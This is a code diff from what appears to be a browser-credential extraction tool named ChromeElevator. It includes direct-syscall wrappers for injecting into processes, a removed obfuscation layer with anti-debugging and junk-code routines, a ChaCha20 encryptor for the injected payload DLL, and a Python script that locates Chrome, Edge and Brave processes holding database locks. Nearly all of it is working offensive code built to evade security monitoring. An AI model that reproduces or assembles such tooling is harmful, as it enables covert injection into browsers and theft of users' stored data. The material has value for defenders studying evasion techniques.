{"ZwSetContextThread", {&g_syscall_stubs.NtSetContextThread, 2}},
|
||||
{"ZwResumeThread", {&g_syscall_stubs.NtResumeThread, 2}},
|
||||
{"ZwFlushInstructionCache", {&g_syscall_stubs.NtFlushInstructionCache, 3}},
|
||||
{"ZwClose", {&g_syscall_stubs.NtClose, 1}},
|
||||
{"ZwOpenKey", {&g_syscall_stubs.NtOpenKey, 3}},
|
||||
{"ZwQueryValueKey", {&g_syscall_stubs.NtQueryValueKey, 6}},
|
||||
{"ZwEnumerateKey", {&g_syscall_stubs.NtEnumerateKey, 6}}};
|
||||
|
||||
std::map<const char *, int, CStringComparer> syscall_indices = {
|
||||
{"ZwAllocateVirtualMemory", 0}, {"ZwWriteVirtualMemory", 1}, {"ZwReadVirtualMemory", 2}, {"ZwCreateThreadEx", 3}, {"ZwFreeVirtualMemory", 4}, {"ZwProtectVirtualMemory", 5}, {"ZwOpenProcess", 6}, {"ZwGetNextProcess", 7}, {"ZwTerminateProcess", 8}, {"ZwQueryInformationProcess", 9}, {"ZwUnmapViewOfSection", 10}, {"ZwGetContextThread", 11}, {"ZwSetContextThread", 12}, {"ZwResumeThread", 13}, {"ZwFlushInstructionCache", 14}, {"ZwClose", 15}, {"ZwOpenKey", 16}, {"ZwQueryValueKey", 17}, {"ZwEnumerateKey", 18}};
|
||||
|
||||
for (WORD i = 0; i < sortedSyscalls.size(); ++i)
|
||||
{
|
||||
const auto &mapping = sortedSyscalls[i];
|
||||
auto it = required_syscalls.find(mapping.szName);
|
||||
if (it == required_syscalls.end())
|
||||
{
|
||||
continue;
|
||||
}
|
||||
|
||||
PVOID pGadget = nullptr;
|
||||
#if defined(_M_X64)
|
||||
pGadget = FindSyscallGadget_x64(mapping.pAddress);
|
||||
#elif defined(_M_ARM64)
|
||||
pGadget = FindSvcGadget_ARM64(mapping.pAddress);
|
||||
#endif
|
||||
|
||||
if (pGadget)
|
||||
{
|
||||
if (g_obfuscation_enabled && SyscallObfuscation::g_Obfuscator)
|
||||
{
|
||||
auto idx_it = syscall_indices.find(mapping.szName);
|
||||
if (idx_it != syscall_indices.end())
|
||||
{
|
||||
int idx = idx_it->second;
|
||||
g_encrypted_storage.entries[idx] = SyscallObfuscation::g_Obfuscator->EncryptEntry(pGadget, i);
|
||||
g_encrypted_storage.argCounts[idx] = it->second.second;
|
||||
}
|
||||
}
|
||||
|
||||
it->second.first->pSyscallGadget = pGadget;
|
||||
it->second.first->nArgs = it->second.second;
|
||||
it->second.first->ssn = i;
|
||||
}
|
||||
}
|
||||
|
||||
bool all_found = true;
|
||||
for (const auto &pair : required_syscalls)
|
||||
{
|
||||
if (!pair.second.first->pSyscallGadget)
|
||||
{
|
||||
all_found = false;
|
||||
break;
|
||||
}
|
||||
}
|
||||
|
||||
if (all_found)
|
||||
{
|
||||
debug_print("Initialized " + std::to_string(required_syscalls.size()) + " syscall stubs" +
|
||||
(g_obfuscation_enabled ? " (with obfuscation)." : "."));
|
||||
|
||||
if (g_obfuscation_enabled && SyscallObfuscation::g_Obfuscator)
|
||||
{
|
||||
debug_print("Obfuscation layer active - syscalls encrypted in memory");
|
||||
}
|
||||
|
||||
for (const auto &pair : required_syscalls)
|
||||
{
|
||||
if (!pair.second.first->pSyscallGadget)
|
||||
{
|
||||
debug_print(" WARNING: " + std::string(pair.first + 2) + " gadget not found");
|
||||
}
|
||||
}
|
||||
}
|
||||
else
|
||||
{
|
||||
debug_print("ERROR: One or more required syscall gadgets could not be found:");
|
||||
for (const auto &pair : required_syscalls)
|
||||
{
|
||||
if (!pair.second.first->pSyscallGadget)
|
||||
{
|
||||
debug_print(" - " + std::string(pair.first + 2) + " FAILED");
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
return all_found;
|
||||
}
|
||||
|
||||
NTSTATUS NtAllocateVirtualMemory_syscall(HANDLE ProcessHandle, PVOID *BaseAddress, ULONG_PTR ZeroBits, PSIZE_T RegionSize, ULONG AllocationType, ULONG Protect)
|
||||
{
|
||||
return (NTSTATUS)SyscallTrampoline(&g_syscall_stubs.NtAllocateVirtualMemory, ProcessHandle, BaseAddress, ZeroBits, RegionSize, AllocationType, Protect);
|
||||
}
|
||||
|
||||
NTSTATUS NtWriteVirtualMemory_syscall(HANDLE ProcessHandle, PVOID BaseAddress, PVOID Buffer, SIZE_T NumberOfBytesToWrite, PSIZE_T NumberOfBytesWritten)
|
||||
{
|
||||
return (NTSTATUS)SyscallTrampoline(&g_syscall_stubs.NtWriteVirtualMemory, ProcessHandle, BaseAddress, Buffer, NumberOfBytesToWrite, NumberOfBytesWritten);
|
||||
}
|
||||
|
||||
NTSTATUS NtReadVirtualMemory_syscall(HANDLE ProcessHandle, PVOID BaseAddress, PVOID Buffer, SIZE_T NumberOfBytesToRead, PSIZE_T NumberOfBytesRead)
|
||||
{
|
||||
return (NTSTATUS)SyscallTrampoline(&g_syscall_stubs.NtReadVirtualMemory, ProcessHandle, BaseAddress, Buffer, NumberOfBytesToRead, NumberOfBytesRead);
|
||||
}
|
||||
|
||||
NTSTATUS NtCreateThreadEx_syscall(PHANDLE ThreadHandle, ACCESS_MASK DesiredAccess, LPVOID ObjectAttributes, HANDLE ProcessHandle, LPTHREAD_START_ROUTINE lpStartAddress, LPVOID lpParameter, ULONG CreateFlags, ULONG_PTR ZeroBits, SIZE_T StackSize, SIZE_T MaximumStackSize, LPVOID AttributeList)
|
||||
{
|
||||
return (NTSTATUS)SyscallTrampoline(&g_syscall_stubs.NtCreateThreadEx, ThreadHandle, DesiredAccess, ObjectAttributes, ProcessHandle, lpStartAddress, lpParameter, CreateFlags, ZeroBits, StackSize, MaximumStackSize, AttributeList);
|
||||
}
|
||||
|
||||
NTSTATUS NtFreeVirtualMemory_syscall(HANDLE ProcessHandle, PVOID *BaseAddress, PSIZE_T RegionSize, ULONG FreeType)
|
||||
{
|
||||
return (NTSTATUS)SyscallTrampoline(&g_syscall_stubs.NtFreeVirtualMemory, ProcessHandle, BaseAddress, RegionSize, FreeType);
|
||||
}
|
||||
|
||||
NTSTATUS NtProtectVirtualMemory_syscall(HANDLE ProcessHandle, PVOID *BaseAddress, PSIZE_T RegionSize, ULONG NewProtect, PULONG OldProtect)
|
||||
{
|
||||
return (NTSTATUS)SyscallTrampoline(&g_syscall_stubs.NtProtectVirtualMemory, ProcessHandle, BaseAddress, RegionSize, NewProtect, OldProtect);
|
||||
}
|
||||
|
||||
NTSTATUS NtOpenProcess_syscall(PHANDLE ProcessHandle, ACCESS_MASK DesiredAccess, POBJECT_ATTRIBUTES ObjectAttributes, PCLIENT_ID ClientId)
|
||||
{
|
||||
return (NTSTATUS)SyscallTrampoline(&g_syscall_stubs.NtOpenProcess, ProcessHandle, DesiredAccess, ObjectAttributes, ClientId);
|
||||
}
|
||||
|
||||
NTSTATUS NtGetNextProcess_syscall(HANDLE ProcessHandle, ACCESS_MASK DesiredAccess, ULONG HandleAttributes, ULONG Flags, PHANDLE NewProcessHandle)
|
||||
{
|
||||
return (NTSTATUS)SyscallTrampoline(&g_syscall_stubs.NtGetNextProcess, ProcessHandle, DesiredAccess, HandleAttributes, Flags, NewProcessHandle);
|
||||
}
|
||||
|
||||
NTSTATUS NtTerminateProcess_syscall(HANDLE ProcessHandle, NTSTATUS ExitStatus)
|
||||
{
|
||||
return (NTSTATUS)SyscallTrampoline(&g_syscall_stubs.NtTerminateProcess, ProcessHandle, ExitStatus);
|
||||
}
|
||||
|
||||
NTSTATUS NtQueryInformationProcess_syscall(HANDLE ProcessHandle, PROCESSINFOCLASS ProcessInformationClass, PVOID ProcessInformation, ULONG ProcessInformationLength, PULONG ReturnLength)
|
||||
{
|
||||
return (NTSTATUS)SyscallTrampoline(&g_syscall_stubs.NtQueryInformationProcess, ProcessHandle, ProcessInformationClass, ProcessInformation, ProcessInformationLength, ReturnLength);
|
||||
}
|
||||
|
||||
NTSTATUS NtUnmapViewOfSection_syscall(HANDLE ProcessHandle, PVOID BaseAddress)
|
||||
{
|
||||
return (NTSTATUS)SyscallTrampoline(&g_syscall_stubs.NtUnmapViewOfSection, ProcessHandle, BaseAddress);
|
||||
}
|
||||
|
||||
NTSTATUS NtGetContextThread_syscall(HANDLE ThreadHandle, PCONTEXT pContext)
|
||||
{
|
||||
return (NTSTATUS)SyscallTrampoline(&g_syscall_stubs.NtGetContextThread, ThreadHandle, pContext);
|
||||
}
|
||||
|
||||
NTSTATUS NtSetContextThread_syscall(HANDLE ThreadHandle, PCONTEXT pContext)
|
||||
{
|
||||
return (NTSTATUS)SyscallTrampoline(&g_syscall_stubs.NtSetContextThread, ThreadHandle, pContext);
|
||||
}
|
||||
|
||||
NTSTATUS NtResumeThread_syscall(HANDLE ThreadHandle, PULONG SuspendCount)
|
||||
{
|
||||
return (NTSTATUS)SyscallTrampoline(&g_syscall_stubs.NtResumeThread, ThreadHandle, SuspendCount);
|
||||
}
|
||||
|
||||
NTSTATUS NtFlushInstructionCache_syscall(HANDLE ProcessHandle, PVOID BaseAddress, ULONG NumberOfBytesToFlush)
|
||||
{
|
||||
return (NTSTATUS)SyscallTrampoline(&g_syscall_stubs.NtFlushInstructionCache, ProcessHandle, BaseAddress, NumberOfBytesToFlush);
|
||||
}
|
||||
|
||||
NTSTATUS NtClose_syscall(HANDLE Handle)
|
||||
{
|
||||
return (NTSTATUS)SyscallTrampoline(&g_syscall_stubs.NtClose, Handle);
|
||||
}
|
||||
|
||||
NTSTATUS NtOpenKey_syscall(PHANDLE KeyHandle, ACCESS_MASK DesiredAccess, POBJECT_ATTRIBUTES ObjectAttributes)
|
||||
{
|
||||
return (NTSTATUS)SyscallTrampoline(&g_syscall_stubs.NtOpenKey, KeyHandle, DesiredAccess, ObjectAttributes);
|
||||
}
|
||||
|
||||
NTSTATUS NtQueryValueKey_syscall(HANDLE KeyHandle, PUNICODE_STRING_SYSCALLS ValueName, KEY_VALUE_INFORMATION_CLASS KeyValueInformationClass, PVOID KeyValueInformation, ULONG Length, PULONG ResultLength)
|
||||
{
|
||||
return (NTSTATUS)SyscallTrampoline(&g_syscall_stubs.NtQueryValueKey, KeyHandle, ValueName, KeyValueInformationClass, KeyValueInformation, Length, ResultLength);
|
||||
}
|
||||
NTSTATUS NtEnumerateKey_syscall(HANDLE KeyHandle, ULONG Index, KEY_INFORMATION_CLASS KeyInformationClass, PVOID KeyInformation, ULONG Length, PULONG ResultLength)
|
||||
{
|
||||
return (NTSTATUS)SyscallTrampoline(&g_syscall_stubs.NtEnumerateKey, KeyHandle, Index, KeyInformationClass, KeyInformation, Length, ResultLength);
|
||||
}
|
||||
@@ -1,10 +0,0 @@
|
||||
// syscalls_obfuscation.cpp
|
||||
// v0.16.1 (c) Alexander 'xaitax' Hagenah
|
||||
// Licensed under the MIT License. See LICENSE file in the project root for full license information.
|
||||
|
||||
#include "syscalls_obfuscation.h"
|
||||
|
||||
namespace SyscallObfuscation
|
||||
{
|
||||
SyscallObfuscator *g_Obfuscator = nullptr;
|
||||
}
|
||||
@@ -1,312 +0,0 @@
|
||||
// syscalls_obfuscation.h
|
||||
// v0.16.1 (c) Alexander 'xaitax' Hagenah
|
||||
// Licensed under the MIT License. See LICENSE file in the project root for full license information.
|
||||
|
||||
#ifndef SYSCALLS_OBFUSCATION_H
|
||||
#define SYSCALLS_OBFUSCATION_H
|
||||
|
||||
#include <Windows.h>
|
||||
#include <cstdint>
|
||||
#include <intrin.h>
|
||||
#include "syscalls.h"
|
||||
|
||||
namespace SyscallObfuscation
|
||||
{
|
||||
// XOR encryption keys (randomized at runtime)
|
||||
struct ObfuscationKeys
|
||||
{
|
||||
uint64_t ssnKey; // Key for SSN encryption
|
||||
uint64_t gadgetKey; // Key for gadget pointer encryption
|
||||
uint64_t structKey; // Key for structure field shuffling
|
||||
bool initialized;
|
||||
};
|
||||
|
||||
// Encrypted syscall entry
|
||||
struct ObfuscatedSyscallEntry
|
||||
{
|
||||
uint64_t encryptedGadget; // XOR'd gadget pointer
|
||||
uint32_t encryptedSSN; // XOR'd SSN
|
||||
uint32_t checksum; // Integrity check
|
||||
uint8_t padding[16]; // Anti-pattern padding
|
||||
};
|
||||
|
||||
// Anti-debugging/analysis checks
|
||||
namespace AntiAnalysis
|
||||
{
|
||||
// Check for debugger presence via PEB
|
||||
inline bool IsDebuggerPresent_PEB()
|
||||
{
|
||||
#if defined(_M_X64)
|
||||
PPEB peb = reinterpret_cast<PPEB>(__readgsqword(0x60));
|
||||
#elif defined(_M_ARM64)
|
||||
PPEB peb = reinterpret_cast<PPEB>(__readx18qword(0x60));
|
||||
#else
|
||||
return false;
|
||||
#endif
|
||||
return peb && peb->BeingDebugged;
|
||||
}
|
||||
|
||||
// Timing-based debugger detection
|
||||
inline bool IsDebuggerPresent_Timing()
|
||||
{
|
||||
#if defined(_M_X64) || defined(_M_IX86)
|
||||
uint64_t start = __rdtsc();
|
||||
|
||||
// Junk operations to create timing window
|
||||
volatile int x = 0;
|
||||
for (int i = 0; i < 10; i++)
|
||||
x += i;
|
||||
|
||||
uint64_t end = __rdtsc();
|
||||
|
||||
// If took too long, likely stepped through debugger
|
||||
return (end - start) > 10000;
|
||||
#else
|
||||
// ARM64: Use GetTickCount64 as fallback
|
||||
ULONGLONG start = GetTickCount64();
|
||||
volatile int x = 0;
|
||||
for (int i = 0; i < 10; i++)
|
||||
x += i;
|
||||
ULONGLONG end = GetTickCount64();
|
||||
return (end - start) > 50;
|
||||
#endif
|
||||
}
|
||||
|
||||
// Check for hardware breakpoints via debug registers
|
||||
inline bool HasHardwareBreakpoints()
|
||||
{
|
||||
#if defined(_M_X64) || defined(_M_IX86)
|
||||
CONTEXT ctx = {};
|
||||
ctx.ContextFlags = CONTEXT_DEBUG_REGISTERS;
|
||||
|
||||
if (!GetThreadContext(GetCurrentThread(), &ctx))
|
||||
return false;
|
||||
|
||||
// Check if any debug registers are set
|
||||
return (ctx.Dr0 | ctx.Dr1 | ctx.Dr2 | ctx.Dr3) != 0;
|
||||
#else
|
||||
// ARM64 doesn't have the same debug register structure in CONTEXT
|
||||
// Use alternative detection method
|
||||
return false;
|
||||
#endif
|
||||
}
|
||||
|
||||
// Anti-analysis check
|
||||
inline bool DetectAnalysisEnvironment()
|
||||
{
|
||||
// Multiple detection vectors
|
||||
if (IsDebuggerPresent_PEB())
|
||||
return true;
|
||||
if (IsDebuggerPresent_Timing())
|
||||
return true;
|
||||
if (HasHardwareBreakpoints())
|
||||
return true;
|
||||
if (IsDebuggerPresent())
|
||||
return true; // Win32 API fallback
|
||||
|
||||
return false;
|
||||
}
|
||||
}
|
||||
|
||||
// Obfuscation utilities
|
||||
namespace Utils
|
||||
{
|
||||
// Generate pseudo-random key based on runtime state
|
||||
inline uint64_t GenerateRuntimeKey()
|
||||
{
|
||||
#if defined(_M_X64) || defined(_M_IX86)
|
||||
uint64_t key = __rdtsc();
|
||||
#else
|
||||
// ARM64: Use performance counter
|
||||
LARGE_INTEGER counter;
|
||||
QueryPerformanceCounter(&counter);
|
||||
uint64_t key = static_cast<uint64_t>(counter.QuadPart);
|
||||
#endif
|
||||
key ^= reinterpret_cast<uint64_t>(&key);
|
||||
key ^= static_cast<uint64_t>(GetCurrentProcessId()) << 32;
|
||||
key ^= static_cast<uint64_t>(GetCurrentThreadId());
|
||||
|
||||
// Mix bits
|
||||
key ^= (key << 13);
|
||||
key ^= (key >> 7);
|
||||
key ^= (key << 17);
|
||||
|
||||
return key;
|
||||
}
|
||||
|
||||
// XOR encrypt pointer
|
||||
inline uint64_t EncryptPointer(PVOID ptr, uint64_t key)
|
||||
{
|
||||
return reinterpret_cast<uint64_t>(ptr) ^ key;
|
||||
}
|
||||
|
||||
// XOR decrypt pointer
|
||||
inline PVOID DecryptPointer(uint64_t encrypted, uint64_t key)
|
||||
{
|
||||
return reinterpret_cast<PVOID>(encrypted ^ key);
|
||||
}
|
||||
|
||||
// XOR encrypt SSN
|
||||
inline uint32_t EncryptSSN(WORD ssn, uint64_t key)
|
||||
{
|
||||
return static_cast<uint32_t>(ssn) ^ static_cast<uint32_t>(key & 0xFFFFFFFF);
|
||||
}
|
||||
|
||||
// XOR decrypt SSN
|
||||
inline WORD DecryptSSN(uint32_t encrypted, uint64_t key)
|
||||
{
|
||||
return static_cast<WORD>(encrypted ^ static_cast<uint32_t>(key & 0xFFFFFFFF));
|
||||
}
|
||||
|
||||
// Calculate simple checksum for integrity
|
||||
inline uint32_t CalculateChecksum(uint64_t gadget, uint32_t ssn)
|
||||
{
|
||||
uint32_t sum = static_cast<uint32_t>(gadget & 0xFFFFFFFF);
|
||||
sum ^= static_cast<uint32_t>(gadget >> 32);
|
||||
sum ^= ssn;
|
||||
sum = (sum << 13) | (sum >> 19); // Rotate
|
||||
return sum;
|
||||
}
|
||||
|
||||
// Junk code injection to break pattern analysis
|
||||
inline void InjectJunkCode()
|
||||
{
|
||||
#if defined(_M_X64) || defined(_M_IX86)
|
||||
volatile uint64_t junk = __rdtsc();
|
||||
#else
|
||||
LARGE_INTEGER counter;
|
||||
QueryPerformanceCounter(&counter);
|
||||
volatile uint64_t junk = static_cast<uint64_t>(counter.QuadPart);
|
||||
#endif
|
||||
junk = (junk * 0x41C64E6D + 0x3039) & 0xFFFFFFFF;
|
||||
junk ^= (junk << 21);
|
||||
junk ^= (junk >> 35);
|
||||
junk ^= (junk << 4);
|
||||
// Compiler won't optimize this away due to volatile
|
||||
}
|
||||
}
|
||||
|
||||
// Main obfuscation manager
|
||||
class SyscallObfuscator
|
||||
{
|
||||
private:
|
||||
ObfuscationKeys m_keys;
|
||||
bool m_antiAnalysisEnabled;
|
||||
|
||||
// Initialize encryption keys
|
||||
void InitializeKeys()
|
||||
{
|
||||
m_keys.ssnKey = Utils::GenerateRuntimeKey();
|
||||
m_keys.gadgetKey = Utils::GenerateRuntimeKey() ^ 0xDEADBEEFCAFEBABE;
|
||||
m_keys.structKey = Utils::GenerateRuntimeKey() ^ 0x1337C0DEC0FFEE;
|
||||
m_keys.initialized = true;
|
||||
}
|
||||
|
||||
public:
|
||||
SyscallObfuscator(bool enableAntiAnalysis = true)
|
||||
: m_antiAnalysisEnabled(enableAntiAnalysis)
|
||||
{
|
||||
m_keys = {};
|
||||
InitializeKeys();
|
||||
}
|
||||
|
||||
// Check for analysis environment before critical operations
|
||||
bool ValidateEnvironment()
|
||||
{
|
||||
if (!m_antiAnalysisEnabled)
|
||||
return true;
|
||||
|
||||
Utils::InjectJunkCode();
|
||||
|
||||
if (AntiAnalysis::DetectAnalysisEnvironment())
|
||||
return false;
|
||||
|
||||
Utils::InjectJunkCode();
|
||||
return true;
|
||||
}
|
||||
|
||||
// Encrypt syscall entry
|
||||
ObfuscatedSyscallEntry EncryptEntry(PVOID gadget, WORD ssn)
|
||||
{
|
||||
Utils::InjectJunkCode();
|
||||
|
||||
ObfuscatedSyscallEntry entry = {};
|
||||
entry.encryptedGadget = Utils::EncryptPointer(gadget, m_keys.gadgetKey);
|
||||
entry.encryptedSSN = Utils::EncryptSSN(ssn, m_keys.ssnKey);
|
||||
entry.checksum = Utils::CalculateChecksum(
|
||||
reinterpret_cast<uint64_t>(gadget),
|
||||
static_cast<uint32_t>(ssn));
|
||||
|
||||
// Fill padding with pseudo-random data to break patterns
|
||||
for (int i = 0; i < 16; i++)
|
||||
entry.padding[i] = static_cast<uint8_t>((m_keys.structKey >> (i * 4)) & 0xFF);
|
||||
|
||||
Utils::InjectJunkCode();
|
||||
return entry;
|
||||
}
|
||||
|
||||
// Decrypt and validate syscall entry
|
||||
bool DecryptEntry(const ObfuscatedSyscallEntry &entry, PVOID *outGadget, WORD *outSSN)
|
||||
{
|
||||
Utils::InjectJunkCode();
|
||||
|
||||
PVOID gadget = Utils::DecryptPointer(entry.encryptedGadget, m_keys.gadgetKey);
|
||||
WORD ssn = Utils::DecryptSSN(entry.encryptedSSN, m_keys.ssnKey);
|
||||
|
||||
// Verify integrity
|
||||
uint32_t calculatedChecksum = Utils::CalculateChecksum(
|
||||
reinterpret_cast<uint64_t>(gadget),
|
||||
static_cast<uint32_t>(ssn));
|
||||
|
||||
if (calculatedChecksum != entry.checksum)
|
||||
return false; // Tampered data
|
||||
|
||||
*outGadget = gadget;
|
||||
*outSSN = ssn;
|
||||
|
||||
Utils::InjectJunkCode();
|
||||
return true;
|
||||
}
|
||||
|
||||
// Re-randomize keys
|
||||
void RotateKeys()
|
||||
{
|
||||
Utils::InjectJunkCode();
|
||||
|
||||
// XOR with new random values instead of complete replacement
|
||||
m_keys.ssnKey ^= Utils::GenerateRuntimeKey();
|
||||
m_keys.gadgetKey ^= Utils::GenerateRuntimeKey();
|
||||
m_keys.structKey ^= Utils::GenerateRuntimeKey();
|
||||
|
||||
Utils::InjectJunkCode();
|
||||
}
|
||||
|
||||
// Get keys for external encryption (use sparingly)
|
||||
const ObfuscationKeys &GetKeys() const { return m_keys; }
|
||||
};
|
||||
|
||||
// Global obfuscator instance (initialized once)
|
||||
extern SyscallObfuscator *g_Obfuscator;
|
||||
|
||||
// Initialize obfuscation system
|
||||
inline bool InitializeObfuscation(bool enableAntiAnalysis = true)
|
||||
{
|
||||
if (g_Obfuscator)
|
||||
return true; // Already initialized
|
||||
|
||||
g_Obfuscator = new SyscallObfuscator(enableAntiAnalysis);
|
||||
return g_Obfuscator != nullptr;
|
||||
}
|
||||
|
||||
// Cleanup obfuscation system
|
||||
inline void CleanupObfuscation()
|
||||
{
|
||||
if (g_Obfuscator)
|
||||
{
|
||||
delete g_Obfuscator;
|
||||
g_Obfuscator = nullptr;
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
#endif
|
||||
@@ -0,0 +1,94 @@
|
||||
#include "../crypto/crypto.hpp"
|
||||
#include "../crypto/key_derivation.hpp"
|
||||
#include <iostream>
|
||||
#include <fstream>
|
||||
#include <vector>
|
||||
#include <iomanip>
|
||||
|
||||
/**
|
||||
* Payload Encryptor Tool
|
||||
*
|
||||
* This tool encrypts the payload DLL using runtime-derived keys.
|
||||
* The key derivation uses the same algorithm as the decryptor,
|
||||
* ensuring deterministic keys per build (based on __DATE__/__TIME__).
|
||||
*
|
||||
* IMPORTANT: The encryptor and injector MUST be built in the SAME
|
||||
* compilation session (same make.bat run) for keys to match.
|
||||
* This is because BUILD_SEED changes with __DATE__ and __TIME__.
|
||||
*/
|
||||
|
||||
void PrintKeyInfo(const Crypto::RuntimeKeyProvider::KeyMaterial& km) {
|
||||
std::cout << "\n=== Runtime Key Derivation Info ===" << std::endl;
|
||||
std::cout << "Build Seed: 0x" << std::hex << std::setfill('0')
|
||||
<< std::setw(16) << Crypto::Detail::BUILD_SEED << std::endl;
|
||||
|
||||
std::cout << "Derived Key: ";
|
||||
for (size_t i = 0; i < km.key.size(); ++i) {
|
||||
std::cout << std::hex << std::setw(2) << std::setfill('0') << (int)km.key[i];
|
||||
}
|
||||
std::cout << std::endl;
|
||||
|
||||
std::cout << "Derived Nonce: ";
|
||||
for (size_t i = 0; i < km.nonce.size(); ++i) {
|
||||
std::cout << std::hex << std::setw(2) << std::setfill('0') << (int)km.nonce[i];
|
||||
}
|
||||
std::cout << std::endl;
|
||||
std::cout << "==================================\n" << std::endl;
|
||||
}
|
||||
|
||||
int main(int argc, char* argv[]) {
|
||||
if (argc != 3) {
|
||||
std::cerr << "ChromeElevator Payload Encryptor" << std::endl;
|
||||
std::cerr << "================================" << std::endl;
|
||||
std::cerr << "Usage: " << argv[0] << " <input.dll> <output.bin>" << std::endl;
|
||||
std::cerr << std::endl;
|
||||
std::cerr << "This tool encrypts the payload DLL using ChaCha20 with keys" << std::endl;
|
||||
std::cerr << "derived from environmental entropy + compile-time seed." << std::endl;
|
||||
std::cerr << std::endl;
|
||||
std::cerr << "NOTE: Encryptor and injector must be built together!" << std::endl;
|
||||
return 1;
|
||||
}
|
||||
|
||||
std::ifstream in(argv[1], std::ios::binary);
|
||||
if (!in) {
|
||||
std::cerr << "[-] Failed to open input: " << argv[1] << std::endl;
|
||||
return 1;
|
||||
}
|
||||
|
||||
std::vector<uint8_t> data((std::istreambuf_iterator<char>(in)), std::istreambuf_iterator<char>());
|
||||
in.close();
|
||||
|
||||
std::cout << "[*] Input file: " << argv[1] << " (" << data.size() << " bytes)" << std::endl;
|
||||
|
||||
// Derive keys using the same algorithm as the decryptor
|
||||
auto keyMaterial = Crypto::RuntimeKeyProvider::GetPayloadKey();
|
||||
if (!keyMaterial.valid) {
|
||||
std::cerr << "[-] Failed to derive encryption keys!" << std::endl;
|
||||
return 1;
|
||||
}
|
||||
|
||||
PrintKeyInfo(keyMaterial);
|
||||
|
||||
// Encrypt using ChaCha20 (XOR-based, so same function encrypts/decrypts)
|
||||
Crypto::ChaCha20::Crypt(keyMaterial.key.data(), keyMaterial.nonce.data(), data, 0);
|
||||
|
||||
// Securely clear key material
|
||||
SecureZeroMemory(keyMaterial.key.data(), keyMaterial.key.size());
|
||||
SecureZeroMemory(keyMaterial.nonce.data(), keyMaterial.nonce.size());
|
||||
|
||||
std::ofstream out(argv[2], std::ios::binary);
|
||||
if (!out) {
|
||||
std::cerr << "[-] Failed to open output: " << argv[2] << std::endl;
|
||||
return 1;
|
||||
}
|
||||
|
||||
out.write(reinterpret_cast<const char*>(data.data()), data.size());
|
||||
out.close();
|
||||
|
||||
std::cout << "[+] Encrypted payload written to: " << argv[2] << std::endl;
|
||||
std::cout << "[+] Output size: " << data.size() << " bytes" << std::endl;
|
||||
std::cout << std::endl;
|
||||
std::cout << "[!] Remember: Injector must be compiled in same build session!" << std::endl;
|
||||
|
||||
return 0;
|
||||
}
|
||||
@@ -0,0 +1,143 @@
|
||||
#!/usr/bin/env python3
|
||||
"""
|
||||
Browser Process Inspector
|
||||
Enumerates all Chrome/Edge/Brave processes with their full command-line arguments.
|
||||
Identifies Network Service processes that hold database file locks.
|
||||
"""
|
||||
|
||||
import psutil
|
||||
import sys
|
||||
from collections import defaultdict
|
||||
|
||||
BROWSERS = {
|
||||
'chrome.exe': 'Chrome',
|
||||
'msedge.exe': 'Edge',
|
||||
'brave.exe': 'Brave'
|
||||
}
|
||||
|
||||
def get_browser_processes():
|
||||
"""Get all browser processes grouped by type."""
|
||||
browser_procs = defaultdict(list)
|
||||
|
||||
for proc in psutil.process_iter(['pid', 'ppid', 'name', 'cmdline', 'create_time']):
|
||||
try:
|
||||
name = proc.info['name'].lower() if proc.info['name'] else ''
|
||||
if name in BROWSERS:
|
||||
browser_procs[name].append({
|
||||
'pid': proc.info['pid'],
|
||||
'ppid': proc.info['ppid'],
|
||||
'name': proc.info['name'],
|
||||
'cmdline': proc.info['cmdline'] or [],
|
||||
'create_time': proc.info['create_time']
|
||||
})
|
||||
except (psutil.NoSuchProcess, psutil.AccessDenied):
|
||||
pass
|
||||
|
||||
return browser_procs
|
||||
|
||||
def identify_process_type(cmdline):
|
||||
"""Identify the type of browser subprocess from command line."""
|
||||
cmdline_str = ' '.join(cmdline)
|
||||
|
||||
if '--type=gpu-process' in cmdline_str:
|
||||
return 'GPU Process'
|
||||
if '--type=utility' in cmdline_str:
|
||||
if 'network.mojom.NetworkService' in cmdline_str:
|
||||
return '🔒 NETWORK SERVICE (holds DB locks)'
|
||||
if 'storage.mojom.StorageService' in cmdline_str:
|
||||
return '💾 Storage Service'
|
||||
if 'audio.mojom.AudioService' in cmdline_str:
|
||||
return '🔊 Audio Service'
|
||||
return 'Utility Process'
|
||||
if '--type=renderer' in cmdline_str:
|
||||
return 'Renderer'
|
||||
if '--type=crashpad-handler' in cmdline_str:
|
||||
return 'Crashpad Handler'
|
||||
if '--type=' not in cmdline_str and cmdline:
|
||||
return '🌐 MAIN BROWSER (parent)'
|
||||
|
||||
return 'Unknown'
|
||||
|
||||
def build_process_tree(procs):
|
||||
"""Build a parent-child tree of processes."""
|
||||
by_pid = {p['pid']: p for p in procs}
|
||||
children = defaultdict(list)
|
||||
roots = []
|
||||
|
||||
for proc in procs:
|
||||
ppid = proc['ppid']
|
||||
if ppid in by_pid:
|
||||
children[ppid].append(proc)
|
||||
else:
|
||||
roots.append(proc)
|
||||
|
||||
return roots, children
|
||||
|
||||
def print_tree(proc, children, indent=0):
|
||||
"""Print process tree recursively."""
|
||||
cmdline = proc['cmdline']
|
||||
proc_type = identify_process_type(cmdline)
|
||||
|
||||
prefix = ' ' * indent + ('└── ' if indent > 0 else '')
|
||||
|
||||
# Highlight network service
|
||||
highlight = '\033[93m' if 'NETWORK SERVICE' in proc_type else ''
|
||||
reset = '\033[0m' if highlight else ''
|
||||
|
||||
print(f"{prefix}{highlight}[PID {proc['pid']}] {proc_type}{reset}")
|
||||
|
||||
# Show relevant command-line args
|
||||
relevant_args = [arg for arg in cmdline if any(k in arg for k in
|
||||
['--type=', '--utility-sub-type=', '--profile-directory=', '--user-data-dir='])]
|
||||
if relevant_args:
|
||||
for arg in relevant_args:
|
||||
print(f"{' ' * (indent + 1)} {arg}")
|
||||
|
||||
# Recurse to children
|
||||
for child in sorted(children.get(proc['pid'], []), key=lambda x: x['create_time']):
|
||||
print_tree(child, children, indent + 1)
|
||||
|
||||
def main():
|
||||
print("\n" + "="*70)
|
||||
print(" Browser Process Inspector")
|
||||
print("="*70)
|
||||
|
||||
browser_procs = get_browser_processes()
|
||||
|
||||
if not browser_procs:
|
||||
print("\n No browser processes found.\n")
|
||||
return
|
||||
|
||||
total_network_services = 0
|
||||
|
||||
for exe_name, procs in sorted(browser_procs.items()):
|
||||
browser_name = BROWSERS.get(exe_name, exe_name)
|
||||
|
||||
print(f"\n┌──── {browser_name} ({len(procs)} processes) " + "─"*40)
|
||||
|
||||
# Count network services
|
||||
network_count = sum(1 for p in procs if 'network.mojom.NetworkService' in ' '.join(p['cmdline']))
|
||||
total_network_services += network_count
|
||||
|
||||
